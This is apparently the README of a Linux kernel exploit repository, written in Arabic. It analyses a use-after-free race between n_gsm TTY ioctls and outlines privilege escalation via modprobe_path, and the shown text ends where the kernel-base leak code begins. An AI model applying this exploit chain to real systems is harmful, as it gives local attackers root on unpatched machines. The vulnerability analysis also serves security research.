gmh5225/n_gsm_exploitاستغلال use-after-free في ioctl الخاص بـ n_gsm TTY في نواة Linux (PoC): تحليل حالة التسابق، وتسريب عنوان قاعدة النواة، ورشّ الكومة (heap spray)، واختطاف مؤشر التعليمات (RIP)، والكتابة العشوائية، وتصعيد الامتيازات عبر modprobe_path.
يبدو أن هذه لا تزال ثغرة يوم-صفر. لم تكن لديّ أي نية لنشر هذا الاستغلال قبل ترقيع الثغرة، لكن باحثًا آخر اكتشف الثغرة نفسها ونشر استغلالًا لها، لذا نشرت شفرتي أيضًا. يُرجى استخدام هذا لأغراض البحث فقط.
[1] GSMIOC_SETCONF: يعيد ضبط إعدادات GSM.
[2] GSMIOC_GETCONF_DLCI: يسترجع إعدادات DLCI المرتبطة بـ GSM.
[3] GSMIOC_SETCONF_DLCI: يغيّر إعدادات DLCI المرتبطة بـ GSM.
static int gsmld_ioctl(struct tty_struct *tty, unsigned int cmd,
unsigned long arg)
{
...
case GSMIOC_SETCONF:
if (copy_from_user(&c, (void __user *)arg, sizeof(c)))
return -EFAULT;
return gsm_config(gsm, &c);//[1]
....
case GSMIOC_GETCONF_DLCI:
if (copy_from_user(&dc, (void __user *)arg, sizeof(dc)))
return -EFAULT;
if (dc.channel == 0 || dc.channel >= NUM_DLCI)
return -EINVAL;
addr = array_index_nospec(dc.channel, NUM_DLCI);
dlci = gsm->dlci[addr];
if (!dlci) {
dlci = gsm_dlci_alloc(gsm, addr);
if (!dlci)
return -ENOMEM;
}
gsm_dlci_copy_config_values(dlci, &dc);//[2]
if (copy_to_user((void __user *)arg, &dc, sizeof(dc)))
return -EFAULT;
return 0;
case GSMIOC_SETCONF_DLCI:
if (copy_from_user(&dc, (void __user *)arg, sizeof(dc)))
return -EFAULT;
if (dc.channel == 0 || dc.channel >= NUM_DLCI)
return -EINVAL;
addr = array_index_nospec(dc.channel, NUM_DLCI);
dlci = gsm->dlci[addr];
if (!dlci) {
dlci = gsm_dlci_alloc(gsm, addr);
if (!dlci)
return -ENOMEM;
}
return gsm_dlci_config(dlci, &dc, 0);//[3]
default:
return n_tty_ioctl_helper(tty, cmd, arg);
}
}
لنبدأ أولاً بفحص GSMIOC_SETCONF، الذي يغيّر إعدادات GSM.
[1] إذا اختلف الإعداد الحالي لـ GSM عن الإعداد الجديد، فسيتم تعليم need_restart على أنه true.
[2] إذا كانت need_restart تساوي true، فسيتم إنهاء GSM الحالي عبر gsm_cleanup_mux.
static int gsm_config(struct gsm_mux *gsm, struct gsm_config *c)
{
int need_close = 0;
int need_restart = 0;
...
if (c->mtu != gsm->mtu)//[1]
need_restart = 1;
/*
* Close down what is needed, restart and initiate the new
* configuration. On the first time there is no DLCI[0]
* and closing or cleaning up is not necessary.
*/
if (need_close || need_restart)
gsm_cleanup_mux(gsm, true);//[2]
...
return 0;
}
[1] يتم تحرير جميع DLCIs المملوكة لـ GSM عبر gsm_dlci_release.
static void gsm_cleanup_mux(struct gsm_mux *gsm, bool disc)
{
int i;
struct gsm_dlci *dlci;
struct gsm_msg *txq, *ntxq;
gsm->dead = true;
mutex_lock(&gsm->mutex);
...
for (i = NUM_DLCI - 1; i >= 0; i--)
if (gsm->dlci[i]){
gsm_dlci_release(gsm->dlci[i]);//[1]
}
...
}
بعد ذلك، تُستدعى الدوال بالترتيب التالي:
[1] يتم إسناد NULL إلى gsm->dlci[addr] لمنع الاستخدام بعد التحرير (UAF).
[2] بعد ذلك، يتم تحرير gsm->dlci[addr] باستخدام kfree.
static void gsm_dlci_free(struct tty_port *port)
{
struct gsm_dlci *dlci = container_of(port, struct gsm_dlci, port);
timer_shutdown_sync(&dlci->t1);
dlci->gsm->dlci[dlci->addr] = NULL;//[1]
kfifo_free(&dlci->fifo);
while ((dlci->skb = skb_dequeue(&dlci->skb_list)))
dev_kfree_skb(dlci->skb);
kfree(dlci);//[2]
}
لنفحص GSMIOC_SETCONF_DLCI، الذي يغيّر قيم تهيئة DLCI مملوك لـ GSM.
[1] يقرأ تهيئة DLCI، بما في ذلك العنوان (addr)، من المستخدم.
[2] يشير إلى gsm->dlci[addr].
[3] يستدعي gsm_dlci_config لتغيير تهيئة DLCI.
static int gsmld_ioctl(struct tty_struct *tty, unsigned int cmd,
unsigned long arg)
{
...
case GSMIOC_SETCONF_DLCI:
if (copy_from_user(&dc, (void __user *)arg, sizeof(dc)))//[1]
return -EFAULT;
if (dc.channel == 0 || dc.channel >= NUM_DLCI)
return -EINVAL;
addr = array_index_nospec(dc.channel, NUM_DLCI);
dlci = gsm->dlci[addr];//[2]
if (!dlci) {
dlci = gsm_dlci_alloc(gsm, addr);
if (!dlci)
return -ENOMEM;
}
return gsm_dlci_config(dlci, &dc, 0);//[3]
...
}
[1] يضبط need_open على true بناءً على الخيارات التي يمررها المستخدم.
[2] ينتظر حتى تصبح dlci->state مساوية لـ DLCI_CLOSED.
[3] إذا كانت gsm->initiator فقط صحيحة، يتم استدعاء الدالة gsm_dlci_begin_open لإعادة تشغيل DLCI.
static int gsm_dlci_config(struct gsm_dlci *dlci, struct gsm_dlci_config *dc, int open)
{
struct gsm_mux *gsm;
bool need_restart = false;
bool need_open = false;
unsigned int i;
...
if (dc->flags & GSM_FL_RESTART)
need_restart = true;
if ((open && gsm->wait_config) || need_restart)//[1]
need_open = true;
if (dlci->state == DLCI_WAITING_CONFIG) {
need_restart = false;
need_open = true;
}
/*
* Close down what is needed, restart and initiate the new
* configuration.
*/
if (need_restart) {
gsm_dlci_begin_close(dlci);
wait_event_interruptible(gsm->event, dlci->state == DLCI_CLOSED);//[2]
if (signal_pending(current))
return -EINTR;
}
...
if (need_open) {
if (gsm->initiator)
gsm_dlci_begin_open(dlci);//[3]
else
gsm_dlci_set_opening(dlci);
}
return 0;
}
[1] يصل إلى gsm->dlci دون قفل.
[1] يصل gsm_dlci_config إلى dlci. إذا تم استدعاء gsm_cleanup_mux بسبب GSMIOC_SETCONF، فقد يؤدي وجود حالة تسابق (race condition) إلى الاستخدام بعد التحرير (Use-After-Free أو UAF).
static int gsm_dlci_config(struct gsm_dlci *dlci, struct gsm_dlci_config *dc, int open)
{
...
/*
* Close down what is needed, restart and initiate the new
* configuration.
*/
if (need_restart) {
gsm_dlci_begin_close(dlci);
wait_event_interruptible(gsm->event, dlci->state == DLCI_CLOSED);//[1]
if (signal_pending(current))
return -EINTR;
}
...
unsigned long get_kernel_base(){
const char *filePath = "/sys/kernel/notes";
const char pattern[] = "Xen\\x00";
FILE *file;
uint8_t buffer[1024];
size_t bytesRead;
int found = 0;